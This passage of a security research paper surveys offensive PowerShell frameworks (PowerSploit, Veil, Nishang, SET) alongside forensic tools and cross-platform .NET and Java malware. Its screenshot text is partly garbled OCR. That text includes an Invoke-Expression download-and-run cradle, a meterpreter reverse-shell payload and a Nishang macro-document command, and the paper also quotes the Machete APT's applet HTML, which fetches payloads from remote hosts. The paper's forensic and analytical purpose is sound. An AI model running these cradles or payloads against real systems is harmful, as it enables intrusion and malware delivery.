information from SQL Server databases or create a rogue
mailbox account in Exchange once they have obtained
elevated privileges.

Around the ever-evolving PowerShell ecosystem, some
researchers have developed fully featured open source
toolsets that can run primarily on Windows-based systems, or
if desired, even ported to other platforms. These tools can be
executed from the targeted computer or remotely, giving the
attacker enough flexibility to bypass security measures in
place, all within one convenient framework. The interesting
thing about this is that even though researchers have built
these frameworks as proofs of concept, or to use them in
penetration testing engagements, there is enough compelling
evidence to show that some of their functionality has been
leveraged by attackers in malware campaigns, and more
recently in targeted attacks all around the world.

The ‘Weaponization of PowerShell’ — using or creating
PowerShell scripts for offensive purposes — has been growing,
with some existing toolkits such as SET (Social Engineering
Toolkit) or the Metasploit Framework including an extensive
list of modules that are already built in and ready to use.

PowerSploit [17]

This framework, developed by Matt Graeber, integrates a
collection of powerful PowerShell scripts and modules to be
used in the post exploitation phases of an attack. PowerSploit
can execute scripts to perform administrative and low-level
tasks without the need to drop malicious executables, aiming
to evade timely anti-virus detection.

-4 Select Windows PowerShel

PS C: > IER(Hew—-0Ohject Met.WehClient?.DownloadString{"http:/~

>

PowerSploit classifies the available scripts according to their
functionality, such as anti-virus bypass, persistence, recon,
code execution and exfiltration. This tool could work together
with other offensive tools such as Mimikatz to dump user
credentials.

A widely used technique to execute or invoke malicious
PowerSploit functions is by using the .NET WebClient class
and the Invoke-Expression method (Figure 45). Once the
attacker compromises a target, it’s necessary just to run a
simple command to download and execute a second stage
payload. The command can also be embedded in a
document, shared by email, or distributed via social
networks.

This is possible because these scripts don’t require any
external dependencies, so the attacker just needs to download
the malicious code and execute directly to achieve their goal.

At this point, it is possible to call the invoke-shellcode
function to connect to a remote listener and take control of
the target machine, with the possibility of performing a
plethora of malicious activities such as injecting code into an
existing or newly hidden process, injecting a DLL file, finding
anti-virus signatures or discovering new targets to make a
lateral move.

Veil-Framework

Veil-Framework [18], developed by Chris Truncer and Mike
Wright, is a collection of tools designed to generate
AV-evading executables, placing them into already existent
executable files or customized macros within Microsoft Office
documents. The Veil-Framework components are classified as
Veil-Evasion, Veil-Catapult, Veil-Pillage and Veil-PowerView.
Between these components we can find different payloads
developed in numerous programming languages such as
Python, Ruby, C, C# and, of course, PowerShell’s native
syntax.

irtual

Figure 46: Payloads in PowerShell’s native syntax.

The primary objective of an attack is usually to get a system
shell while avoiding detection for as long as possible. Veil and
PowerSploit work together to achieve this. Veil generates a
PowerShell-encoded meterpreter payload, and PowerSploit
creates a PowerShell wrapper that is executed on the target
machine in order to maintain a persistent connection used for
exfiltration.

(=[a[ x|

: 8888, /CodeExecut ion/Invoke—She 118

Figure 45: A widely used technique to execute or invoke malicious PowerSploit functions is by using the .NET WebClient class and
Invoke-Expression method.
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d: powershell/meterpreter/rev_https loa

Required Options:

Name Current Value

Figure 47: Veil generates a PowerShell-encoded meterpreter
payload.

Nishang - PowerShell for penetration testing
and offensive security

Nishang [19], written by Nikhil Mittal, is a post exploitation
framework containing a peculiar collection of scripts written
on top of the PowerShell functionality. Interestingly enough,
‘Nishang’ means ‘quiver’ in Sanskrit, providing us ‘a
container for arrows’” which can be used in all sorts of attacks.

The scripts on this framework are classified according to their
functionality, such as webshell, backdoors, client, execution,
escalation, gather, pivot, prasadhak, scan, powerterpreter,
shells or utility. In the same way as PowerSploit, Nishang
scripts can be downloaded or invoked via the web and
executed directly into memory.

An example of how an attacker can use Nishang to conduct a
client-side attack is by adopting the specific parameters to
search recursively for .docx files, generate a macro-enabled
version of them and delete the original ones afterwards
(Figure 48).

SET - PowerShell attack vectors

The popular tool SET (Social Engineering Toolkit) [20]
includes some interesting PowerShell modules to be used in
the attack/post attack stages (Figure 49).

The PowerShell attack vectors include a comprehensive set of
convenient modules to inject encoded commands which are
able to bypass the Windows execution policy in place, execute
a reverse or bind shells, furthermore allowing the attacker to
dump the SAM database if so desired (Figure 50).

HUNTING THE EVIL, A FORENSICS
APPROACH

The use of PowerShell as hacking tool presents several
challenges for digital forensics investigators since it is a

The ©
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t from the menu:

Figure 49: The popular SET tool includes some interesting
PowerShell modules to be used in the attack/postattack
stages.

Figure 50: The PowerShell attack vectors include a
comprehensive set of convenient modules to inject encoded
commands.

legitimate and essential component of Windows systems, and
it is very difficult at first sight to differentiate legitimate
activities from those that are potentially malicious.

However, common attack patterns performed through
PowerShell — such as reconnaissance, establishing
persistence, lateral movement, remote command execution
and file transfer, make it possible to track evidence left behind
during a compromise.

When an attacker aims at an individual target, his first priority
will be to elevate the privileges obtained so as to benefit from
certain administrative PowerShell features, such as:

» Execution of remote commands.
* The ability to execute malicious code in memory.

» The ability to evade anti-virus and intrusion prevention
systems.

* Full access to WMI and the .NET Framework base class
library.

It is important to identify the key sources of information such
as network traffic, network connections, suspicious
modifications to particular Windows registry keys and of
course, the Windows event log, being on guard for distinct
indicators that may suggest that a malicious activity has taken
place.

3 Windows PowerShell

PSS C:slUsers™
NUsersy

sdownloads~nizhang—master~Client> Out—Word -PayloadURL http:/~
“SDocumentss_—Recurse —RemoveDoc

=nREn X

sevil.psl —WordFileDir C:[N

Figure 48: An attacker can use Nishang to conduct a client-side attack by adopting the specific parameters to search recursively
for .docx files, generating a macro-enabled version of them and deleting the original ones.
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An example could be to monitor the security events related to
the execution of a console or PowerShell interpreter:

* Event ID 4688 (‘A new process has been created’)

Or security events that indicate a change in the configuration
of Windows Remote Management Service:

e Event ID 7040 ‘The start type of the Windows Remote
Management (WS-Management) service was changed
from [disabled / demand start] to auto start.’

* Event ID 10148 (‘“The WinRM service is listening for
WS-Management requests’).

INCIDENT RESPONSE, FORENSICS AND
MALWARE ANALYSIS

In the same way as PowerShell can be used for malicious
purposes, we can also achieve excellent results when it is
used for performing forensic investigations or dissecting
malware specimens. Unlike the aforementioned hacking tools
which are widely accessible, PowerShell-based forensic
analysis utilities and frameworks are scarce but promising in
regards of features and applicability in our everyday jobs.

Figure 53: Output of the Get-Netstat.psl script running
locally.
Kansa: PowerShell-based incident response

framework

Kansa [21] is an incident response PowerShell tool developed
by Dave Hull to automate acquisition of data via local or
remotely executed scripts (Figure 51).

The data collection process can be customized to get specific
information and later converted into queryable formats such
as CSV, TSV or XML (Figure 52).

After finishing with the data collection stage, Kansa could be
used in conjunction with a log parser tool to create SQL-like
queries, analysing and dissecting the obtained information.

A straightforward example is the output of the Get-Netstat.ps1
script running locally [22] (Figure 53).

KEEPING AN EYE ON MALWARE

PowershellArsenal

PowerShellArsenal [23], developed by Matthew Graeber, is a
PowerShell module oriented to .NET reverse engineering and
malware analysis. Being previously just a standalone module
for PowerSploit, it has now become a separate tool in its own

right. The collection of modules offered have capabilities to Figure 54: Image from: Get-Logparser.psl shows differences
perform memory analysis, parsing a wide array of file formats between DLL hashes.
E3 Windows PowerShell [ o S 1

PS C:slUsers™ s~downloadssKansa—master> .“kansa.psl -Target localhost —ModulePath .“Modulesz -Uerhose_

Figure 51: Kansa, an incident response PowerShell tool developed to automate acquisition of data via local or remotely executed
scripts.

) =
£4 Windows PowerShell —

PS C:sUsers\ sdounloadssKansa-master\Modulessnet> .“\Get-Metstat.psl | ConvertTo—CSU -Delimiter " t" —MNoTypelnforma[
tion | % { 5_ -replace "'"" » | Set—Content netstat.tsv

Figure 52: The data can later be converted into queryable formats such as CSV, TSV or XML.
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7 Windows PowerShell
.\AppGLC.Tog | % { $_.CreationTime

PS C:\Users\ \Reports> Get-ChildItem

Figure 55: It’s pretty easy to modify the MACe attributes of a file to avoid the identification of important dates related to its
creation or modification.

and getting information about the system. The tools at one’s
disposal are categorized as disassembly, malware analysis,
memory tools, parsers, Windows internals and miscellaneous.

POWERSHELL ANTI-FORENSICS

By nature, PowerShell also has features which can be used in
an anti-forensic approach: an attacker could simply manipulate
the timestamp of a file in order to make an investigation a time-
consuming process, delaying the on-going process. For
example, it’s pretty easy to modify the MACe attributes of a
file to avoid the identification of important dates related to its
creation or modification (Figure 55). In a similar way of the
timestamp tool, theses type of anti-forensic attempts can make
our lives as investigators a little more difficult when it comes to
finding the true meaning of a set of events during our research.

Steganographic commands

Another peculiar form in which an attacker can avoid
detection is merely by using steganography to invoke
PowerShell commands. A proof of concept of how this is
possible was published by J. Wolfgang Goerlich [24],
demonstrating how an attacker could invoke commands
contained inside an image from a website.

MULTI-PLATFORM SOFTWARE, SIMPLICITY
IS THE NAME OF THE NEW GAME

Some companies are betting on the development of
applications that can be executed in different environments
and platforms, even the nascent but promising market of
mobile phones. This phenomenon was previously observed
with Java and only recently with Microsoft’s NET. When the
company unveiled its flagship code editor Visual Studio Code
for Windows, Mac and Linux, they opened a world of
possibilities for creating software based on a sort of
open-source .NET framework.

There have been some previous initiatives in this area, both
open source and commercial, seeking the same goal. We will
mention some of the current available options in the following
subsections.

Mono

As mentioned before, Mono was the first open-source
implementation for the NET Framework hoping to aid the
development of cross-platform applications. This project is
sponsored by Xamarin and it can be installed on Mac OS X,
Linux and Windows.

Figure 56: Mono.

Mono-developed projects can be ported from one platform to
another using MoMA (Mono Migration Analyzer) which, like

many other automated tools, doesn’t work perfectly, but gives
programmers (both legitimate and malicious) a productivity
boost in their malicious application lifecycle efforts.

3 MoMA: Mono Migration Analyzer

E Mono Migration Analyzer

mono‘ Choose the assemblies to analyze:

Assembly
NClass Core.di

NClass GUI Diagram dl
NClass NClass exe
NClass. Translations dil

e

Select the main assembly (_exe or dll) as well as any referenced user
libraries (.dll). (Do not select assemblies that ship with Net, like
System.Xml or System Windows Forms_)

Test Against Mono Version: |Mono 124 -

Check for newer version

Version 1.2.4 hitp-ifwww mono-project com

Figure 57: Mono-developed projects can be ported from one
platform to another using MoMA (Mono Migration Analyzer).

Xamarin

Xamarin is a development platform with the goal of creating
applications that share an analog code base across different
platforms, all using Microsoft’s C# programming language.

€ Xamarin

Figure 58: Xamarin.

With Xamarin, applications written entirely in C# can share the
same code on iOS, Android, Windows and even Mac OS X.

Visual Studio Code

Visual Studio Code is the Microsoft development tool that
works in Windows, Mac OS X or Linux.

Figure 59: Developers can use the same editor to create cloud
and web cross-platform applications using different languages.
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Developers can use the same editor to create cloud and web x]
cross-platform applications using different languages. The application's digital signature cannot be verified. 4dh

Do you want to run the application? \v/
THE RISE OF .NET AND MULTI-PLATFORM

MName: Java
MALWARE Publisher: UNKNOWN
With the emergence of new programming trends and From:  hitpilfw =
technologies, new inherent risks also appear inadvertently. As
a result of this, application portability has also increased the ron | [ ]
number of pieces of malware that run on multiple platforms.
Malware developers and hackers always search for new ways (7)) Ths spphcston il run wihurwsricied acess which may put _
g Y yeur persanal inFormation at risk, Run this applicstian anly if yeu Mere Irfermation..,

to take advantage of current technologies. N2 bt tha publisher,

As an example, in recent years we have seen a very large
amount of malware developed in Java, the reason is pretty
simple: the potential to develop a single sample of malware
that can run in any environment is quite attractive.

Figure 61: In 2012, F-Secure reported a multi-platform Java
applet backdoor targeting the Colombian transport website.

b Server Launched. me to the T ) .
e o b e ok e o e e o e o e ok e ok e o e o o e o e o o ol e e e o o o o e o e o o o e e e o o e ok e o o

In 2014, Kaspersky researchers presented an APT called
‘Machete’. This APT mainly affected countries in Latin
America using a Java applet as web infection vector. This
malicious code could run on Linux, OS X and Windows in x86
or x64 architectures [25] (Figure 60).

In 2012, F-Secure reported a multi-platform Java applet
backdoor targeting the Colombian transport website

(Figure 61). Combining social engineering techniques with a
malicious applet, users would get a message box prompt asking
them to download and install a missing component in order to
use the website correctly. Victims running on Windows, Linux,
or OS X systems were at risk, showing that one malware to rule
all platforms is the cybercriminal’s dream [26].

Interestingly, in both cases the attackers seem to have used
SET to generate the malicious applet. & . S ote. E : JWrBYAIN

As mentioned before, there is evidence that on occasions the
attackers are relying on code or components generated by Figure 62: The attackers seem to have used SET to generate
offensive security frameworks. the malicious applet.

<applet width="1" height="1"id="Secure Java Applet" code="lava.class"
archive="http://domainname.com/set/Signed_Update.jar"><param name="WINDOWSPLZ"
value="http://domainname.comy/set/1.txt"><param name="ILIKESTUFF" value=""><param name="05x"
value="mac.bin"><param name="LINUX" value="nix.bin"><param name="X64" value=""><param name="X86"
value=""><param name="HUGSNOTDRUGS" value=""><param name="LAUNCH" value="YES"><param name="next Page"
value="http://www.soho.com.co/home"><param name="separate_jum" value="true"></applet>

<applet width="1"height="1"id="Secure Java Applet" code="Java.class" archive="Signed_Update.jar"><param
name="WIN" value="http://www.domainnamel.com/AwgXuBV31pGV.rar"><param name="MAC"
value="http://www.domainnamel.com/mac.bin"><param name="NIX"
value="http://www.domainnamel.com/nix.bin">

<applet width="1" height="1"id="Secure Java Applet" code="lava.class"
archive="http://domainname2.com/set/Signed_Update.jar"><param name="WINDOWSPLZ"
value="http://domainname2.com/set/1.txt">

<param name="ILIKESTUFF" value="">

<param name="05X" value="mac.bin">

<param name="LINUX" value="nix.bin">

<param name="X64" value=""><param name="X86" value=""><param name="HUGSNOTDRUGS" value=""><param
name="LAUNCH" value="YES">

<applet width="1" height="1"id="Secure Jova Applet" code="lava.class"
archive="http.//name.domain.org/nickname/set/Signed_Update.jor">

<param name="WINDOWS" value="http.//name.domain.org/nickname/set/2.txt"=>
<param name="STUFF"value="">

<param name="05X"value="http://name.domain.org/nickname/set/mac.bin">
<param name="LINUX" value="http://name.domain.org/nickname/set/nix.bin"=>

Figure 60: The ‘Machete’ APT used a Java applet as web infection vector. This malicious code could run on Linux, OS X and
Windows in x86 or x64 architectures.
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POWERSHELL DESIRED STATE
CONFIGURATION

According to Microsoft TechNet [27], DSC is a management
platform built as an extension for Windows PowerShell that
enables the deployment and management of configuration
data for software services in addition to providing support for
managing the environment in which these services run.

DSC provides a set of Windows PowerShell language
extensions, new Windows PowerShell cmdlets, and resources
that you can use declaratively to specify how you want your
software environment to be configured. It also provides a
means to maintain and manage existing configurations.

DSC can be used with built-in DSC resources to configure
and manage computers in an automated way, enabling or
disabling server roles and features; managing registry
settings, environment variables, files and directories; starting,
stopping, and managing processes and services; managing
groups and user accounts; or deploying new software.

POWERSHELL DSC TAKES ON LINUX

Microsoft’s state-of-the-art vision aims to present the
company as more open-source friendly, which has been
reflected in its decision to provide source code for several
NET Framework components and the emergence of new
products such as PowerShell DSC for Linux [28].

PowerShell DSC for Linux uses the open-source Open
Management Infrastructure (OMI) as a Common Information
Model. Some of the main features in this initial release
include support for the following Linux server operating
systems: CentOS, Debian GNU/Linux, Oracle Linux, Red Hat
Enterprise Linux, SUSE Linux Enterprise Server and Ubuntu
Server.

In the initial release, the available resources to configure
Linux computers are as follows.

» nxFile — manages files and directory state.

* nxScript — runs script blocks on target nodes.
* nxUser — manages Linux users.

* nxGroup — manages Linux groups.

* nxService — manages Linux services (System-V, Upstart,
SystemD).

It is worth noting in this case the capacity to push configuration
files to the Linux systems from a potentially compromised
Windows host, allowing the possibility of moving laterally from
one platform to another in the post-attack stage.

CONCLUSION, BECOME ONE WITH THE
TAO

‘You must be shapeless, formless, like water. When you pour
water in a cup, it becomes the cup. When you pour water in a
bottle, it becomes the bottle. When you pour water in a teapot,
it becomes the teapot. Water can drip and it can crash.
Become like water my friend.” - Bruce Lee

The number of malware samples created either in any
CTS-compliant .NET language or PowerShell is increasing,
and while it’s currently being used solely to target Windows
systems, we could soon be witnesses of a reality where a
cross-platform infection is not just an academic proof-of-
concept but a possible and dangerous threat. With the timely

release of the source code for core components of .NET,
alternative frameworks such as the Mono Project could easily
be providing an extensively cross-platform means to execute
.NET applications. Even in the burgeoning .NET for mobile
ecosystem, an interesting malicious sample was recently
spotted in the wild. Supported by the Android version of the
Mono framework, it shows that the bad guys never stop
testing new fertile grounds for business opportunities.

Targeted malicious campaigns and advanced persistent threats
are being announced non-stop nowadays, and with the ease
provided by high-level programming languages such as C#
and VB .NET, the coordination between a large group of
developers focused on compromising a specific set of targets
could reap the benefits of software engineering practices.
Even if a persistent threat needs an ‘advanced’ component in
order to be considered as such, the definition might become
more flexible considering that not only one technology would
be used in order to compromise a desired mark, making the
combination of high-level programming languages, scripting,
and any other available means a recipe for true malware
development modularization. From code versioning directly
available in the developer’s IDE to continuous build
automation, the organized cybercrime industry can give a
whole new definition to the phrase ‘malware as a service’.

When it comes to defending against such attacks we will need
to adapt not only our tools and skills, but also our behaviour
as system administrators and, why not, as end-users. The
chaos unleashed by ransomware is not reserved just for .NET
malware, exhibiting that even with all the defensive
technologies in the world, users and particularly user
education when it comes to current threats are paramount in
combating cybercrime.

As security researchers and malware analysts, the extensive
amount of source code available from the analysis of
in-the-wild malware samples and ‘hacking’ tools will allow us
to get a glimpse of the previously hidden internals of the
malware world, one that was purely written in assembly and
is now becoming available for the entire community to learn
from. With each new malicious sample representing a
challenge in itself, a common set of characteristics arise
between them all, shaping our job into a puzzle-solving
reality where we abstract from any technology used in the
conception of malware until we are ready to act, analyse and
defend. As the poet, novelist, and natural philosopher Johann
Wolfgang von Goethe expressed, ‘Knowing is not enough; we
must apply. Willing is not enough; we must do.’
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